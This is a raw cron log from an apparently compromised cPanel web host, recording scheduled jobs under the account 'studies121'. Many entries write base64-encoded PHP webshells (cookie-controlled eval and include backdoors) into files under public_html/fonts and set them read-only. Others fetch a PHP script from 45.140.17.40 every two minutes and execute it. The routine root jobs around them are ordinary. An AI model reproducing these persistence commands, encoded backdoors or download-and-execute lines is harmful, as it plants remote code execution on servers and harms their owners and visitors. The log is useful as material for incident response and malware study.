Sep  4 12:35:01 ip-184-168-122-23 CROND[25183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 12:35:01 ip-184-168-122-23 CROND[25177]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:35:01 ip-184-168-122-23 CROND[25180]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 12:35:01 ip-184-168-122-23 CROND[25181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:35:01 ip-184-168-122-23 CROND[25182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:35:01 ip-184-168-122-23 CROND[25178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:35:01 ip-184-168-122-23 CROND[25179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:36:01 ip-184-168-122-23 CROND[25288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:36:01 ip-184-168-122-23 CROND[25289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:36:01 ip-184-168-122-23 CROND[25291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:36:01 ip-184-168-122-23 CROND[25292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:36:02 ip-184-168-122-23 CROND[25293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:37:02 ip-184-168-122-23 CROND[25400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:37:02 ip-184-168-122-23 CROND[25402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:37:02 ip-184-168-122-23 CROND[25401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:37:02 ip-184-168-122-23 CROND[25403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:38:01 ip-184-168-122-23 CROND[25496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:38:01 ip-184-168-122-23 CROND[25497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:38:01 ip-184-168-122-23 CROND[25498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:38:01 ip-184-168-122-23 CROND[25499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:38:01 ip-184-168-122-23 CROND[25500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:39:02 ip-184-168-122-23 CROND[25584]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 12:39:02 ip-184-168-122-23 CROND[25585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:39:02 ip-184-168-122-23 CROND[25586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:39:02 ip-184-168-122-23 CROND[25587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:39:02 ip-184-168-122-23 CROND[25588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:40:02 ip-184-168-122-23 CROND[25679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:40:02 ip-184-168-122-23 CROND[25684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:40:02 ip-184-168-122-23 CROND[25680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:40:02 ip-184-168-122-23 CROND[25681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:40:02 ip-184-168-122-23 CROND[25682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:40:02 ip-184-168-122-23 CROND[25683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:40:02 ip-184-168-122-23 CROND[25685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:40:02 ip-184-168-122-23 CROND[25694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:41:01 ip-184-168-122-23 CROND[25791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:41:01 ip-184-168-122-23 CROND[25795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:41:01 ip-184-168-122-23 CROND[25794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:41:01 ip-184-168-122-23 CROND[25796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:42:01 ip-184-168-122-23 CROND[25970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:42:01 ip-184-168-122-23 CROND[25969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:42:01 ip-184-168-122-23 CROND[25971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:42:01 ip-184-168-122-23 CROND[25972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:42:01 ip-184-168-122-23 CROND[25973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:43:02 ip-184-168-122-23 CROND[26117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:43:02 ip-184-168-122-23 CROND[26121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:43:02 ip-184-168-122-23 CROND[26120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:43:02 ip-184-168-122-23 CROND[26119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:44:01 ip-184-168-122-23 CROND[26237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:44:01 ip-184-168-122-23 CROND[26238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:44:01 ip-184-168-122-23 CROND[26242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:44:01 ip-184-168-122-23 CROND[26243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:44:01 ip-184-168-122-23 CROND[26246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26430]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  4 12:45:01 ip-184-168-122-23 CROND[26431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:46:01 ip-184-168-122-23 CROND[26538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 12:46:01 ip-184-168-122-23 CROND[26541]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 12:46:01 ip-184-168-122-23 CROND[26542]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 12:46:01 ip-184-168-122-23 CROND[26540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:46:01 ip-184-168-122-23 CROND[26544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 12:46:01 ip-184-168-122-23 CROND[26543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:46:01 ip-184-168-122-23 CROND[26545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 12:47:01 ip-184-168-122-23 CROND[26733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:47:01 ip-184-168-122-23 CROND[26732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
